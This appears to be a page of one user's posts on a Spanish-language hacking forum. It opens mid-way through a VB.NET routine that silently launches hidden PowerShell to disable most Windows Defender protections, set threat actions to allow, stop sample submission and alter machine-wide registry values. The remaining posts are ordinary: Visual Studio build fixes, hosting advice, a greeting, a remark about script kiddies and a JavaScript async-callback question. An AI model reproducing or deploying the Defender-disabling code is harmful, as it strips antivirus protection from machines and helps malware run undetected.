  39.                     Pwrshll("Set-MpPreference -DisableBlockAtFirstSeen $true")
  40.                 ElseIf line.Contains("DisableIOAVProtection") AndAlso line.Contains("False") Then
  41.                     Pwrshll("Set-MpPreference -DisableIOAVProtection $true")
  42.                 ElseIf line.Contains("DisablePrivacyMode") AndAlso line.Contains("False") Then
  43.                     Pwrshll("Set-MpPreference -DisablePrivacyMode $true")
  44.                 ElseIf line.Contains("SignatureDisableUpdateOnStartupWithoutEngine") AndAlso line.Contains("False") Then
  45.                     Pwrshll("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true")
  46.                 ElseIf line.Contains("DisableArchiveScanning") AndAlso line.Contains("False") Then
  47.                     Pwrshll("Set-MpPreference -DisableArchiveScanning $true")
  48.                 ElseIf line.Contains("DisableIntrusionPreventionSystem") AndAlso line.Contains("False") Then
  49.                     Pwrshll("Set-MpPreference -DisableIntrusionPreventionSystem $true")
  50.                 ElseIf line.Contains("DisableScriptScanning") AndAlso line.Contains("False") Then
  51.                     Pwrshll("Set-MpPreference -DisableScriptScanning $true")
  52.                 ElseIf line.Contains("SubmitSamplesConsent") AndAlso Not line.Contains("2") Then
  53.                     Pwrshll("Set-MpPreference -SubmitSamplesConsent 2")
  54.                 ElseIf line.Contains("MAPSReporting") AndAlso Not line.Contains("0") Then
  55.                     Pwrshll("Set-MpPreference -MAPSReporting 0")
  56.                 ElseIf line.Contains("HighThreatDefaultAction") AndAlso Not line.Contains("6") Then
  57.                     Pwrshll("Set-MpPreference -HighThreatDefaultAction 6 -Force")
  58.                 ElseIf line.Contains("ModerateThreatDefaultAction") AndAlso Not line.Contains("6") Then
  59.                     Pwrshll("Set-MpPreference -ModerateThreatDefaultAction 6")
  60.                 ElseIf line.Contains("LowThreatDefaultAction") AndAlso Not line.Contains("6") Then
  61.                     Pwrshll("Set-MpPreference -LowThreatDefaultAction 6")
  62.                 ElseIf line.Contains("SevereThreatDefaultAction") AndAlso Not line.Contains("6") Then
  63.                     Pwrshll("Set-MpPreference -SevereThreatDefaultAction 6")
  64.                 End If
  65.             End While
  66.         End Sub
  67.  
  68.         Private Shared Sub Pwrshll(ByVal args As String)
  69.             Dim proc As Process = New Process With {
  70.                 .StartInfo = New ProcessStartInfo With {
  71.                     .FileName = "powershell",
  72.                     .Arguments = args,
  73.                     .WindowStyle = ProcessWindowStyle.Hidden,
  74.                     .CreateNoWindow = True
  75.                 }
  76.             }
  77.             proc.Start()
  78.         End Sub
  79.  
  80.         Private Shared Sub EditarRegistro(ByVal regPath As String, ByVal name As String, ByVal value As String)
  81.             Try
  82.  
  83.                 Using key As RegistryKey = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree)
  84.  
  85.                     If key Is Nothing Then
  86.                         Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord)
  87.                         Return
  88.                     End If
  89.  
  90.                     If key.GetValue(name) <> CObj(value) Then key.SetValue(name, value, RegistryValueKind.DWord)
  91.                 End Using
  92.  
  93.             Catch
  94.             End Try
  95.         End Sub
  96.  
  97.     End Class
  98. End Namespace
  99.  


GRACIAS POR LEER!!!

12
HOLA!!!

Proba lo siguiente:

1) Dentro de my proyect/solution>Application>StartupObject y selecciona el indicado.
2) Dentro de my proyect/solution>compile>targetCPU verifica que todos sean iguales.
3) Click derecho en cada proyecto/solucion: a) Clean, b) Rebuild c) Analyze>RunCodeAnalysis
4) a)Cerra VS b) elimina el archivo suo c)volve a abrir VS
5) elmina esta carpeta (puede variar segun tu version de VS) %AppData%\Microsoft\VisualStudio\11.0\ReflectedSchemas
6) a) cerra vs b) elimina carpeta bin de tus proyectos y solucion c) volve a abrir
7) a) hace clean de todos los proyectos, Sacalos de la solucion, Agregalos nuevamente, Rebuild Solucion

Proba compilar luego de cada uno de los numeros de arriba (no son pasos, son tecnicas para que funcione)

GRACIAS POR LEER!!!

13
HOLA!!!

Porsupuesto que podes, deberias crear una app en visual studio basada en php y mysql o bien instalar net core en el apache que corras para publicar tu aplicacion asp.

Para publicar podes usar la herramienta de publicacion de VS o tambien subir los archivos por FTP como dijiste, yo personalmente no recomiendo la publicacion de paginas que no sean ASP.NET a un entorno IIS. Pero queda a tu eleccion.

GRACIAS POR LEER!!!

14
Presentaciones / Re:Hola!
« en: Mayo 20, 2019, 11:46:33 am »
HOLA!!!

Bienvenido!

79137913 a tu servicio

GRACIAS POR LEER!!!

15
HOLA!!!

Como ya he dicho varias veces, o soy el primero en decir "no le den navajas a los monos".

Digamos que hay muchos noobs que quieren infectar a medio mundo por el simple hecho de hacer mal o por ingenuidad. Entonces nuestro deber es guiarlos por el buen camino y otorgarles el monto justo de conocimiento para que no se desbanden y aprendan por sus medios.

Siempre el mundo Hacker fue de dar poca informacion, pero hoy en dia hay mucho Click To Hack que funciona, y eso es un gran problema ya que hace creer a los nuevos aspirantes que todo es muy facil, que todo esta a un video de youtube de distancia.

Realmente me apena la situacion actual, aunque ya se ve hace tiempo.

Ademas, cada vez hay menos informaticos autodidactas y cada vez mas universitarios, esto tambien me apena, no faltara mucho para que soliciten un titulo universitario para demostrar que sabes escribir pseudocodigo.

Resumiendo: Estoy de acuerdo contigo, y es cada vez mas frecuente.
GRACIAS POR LEER!!!

16
HOLA!!!

Genial gracias chicos, en este momento he solucionado el problema haciendo un timeout a 15 segundos y poniendo un clear timeout en cada success solo si todas las variables estan cargadas, de esta forma, la ultima variable cargada cancela el timeout y termina el proceso.

GRACIAS POR LEER!!!

17
HOLA!!!

Los callbacks son los que setean las variables, fijate que cada llamada post o get tiene una funcion dentro esa es el callback de success.

GRACIAS POR LEER!!!

18
HOLA!!!

Necesitaria saber como lograr hacer un checkeo constante sin detener la ejecucion de funciones asincronas.

Código: Javascript
  1.             $$.post(baseurl + 'AppRRPP/GetLugar', { x: "x" }, function (dataX) {
  2.                 idlugarRRPP = dataX;
  3.             });
  4.             $$.get(baseurl + "Encargados/HorList", {}, function (dataY) {
  5.                 ListaHorarios = dataY.split("/");
  6.             });
  7.             $$.get(baseurl + "Encargados/BenList", {}, function (dataZ) {
  8.                 ListaBeneficios = dataZ.split("/");
  9.             });
  10.             $$.get(baseurl + "Encargados/EntList", {}, function (dataO) {
  11.                 ListaEntradas = dataO.split("/");
  12.             });
  13.             $$.post(baseurl + 'AppRRPP/GetLimit', { x: "x" }, function (dataP) {
  14.                 ListaLimit = dataP;
  15.                 LimitE = ListaLimit.split("||")[0].split("/");
  16.                 LimitB = ListaLimit.split("||")[1].split("/");
  17.             });
  18.  
  19. //este codigo de aqui abajo debo ejecutarlo cada segundo
  20.             if ((idlugarRRPP == 0 || ListaHorarios[0] != "null" || ListaBeneficios[0] != "null" || ListaEntradas[0] != "null" || ListaLimit.length < 2)==false) {
  21.                //cuando se entra aqui todas las funciones asincronas han terminado de ejecutarse
  22.                //ejecutar codigo de timeout
  23.             }
  24.  
  25.  
  26. //el codigo de aqui abajo cuando hayan pasado 15 segundos o si el codigo de arriba dio true
  27.             if (idlugarRRPP == 0 || ListaHorarios[0] != "null" || ListaBeneficios[0] != "null" || ListaEntradas[0] != "null" || ListaLimit.length < 2) {
  28.                 mainView.router.back();
  29.                 myApp.alert("Su sesion expiro - Verifique conexion a internet", '---');
  30.             } else { mainView.router.loadPage(data + ".html");}
  31.  
  32.  

GRACIAS POR LEER!!!

19
HOLA!!!

Visual Studio CODE


GRACIAS POR LEER!!!

20
Wargames y retos / Re:Reto - Lo qué más importa es lo de adentro.
« en: Noviembre 21, 2018, 02:21:43 pm »
HOLA!!!

Acabo de encontrar este post hace unos minutos, me entretuvo!



GRACIAS POR LEER!!!

Páginas: [1] 2 3 ... 30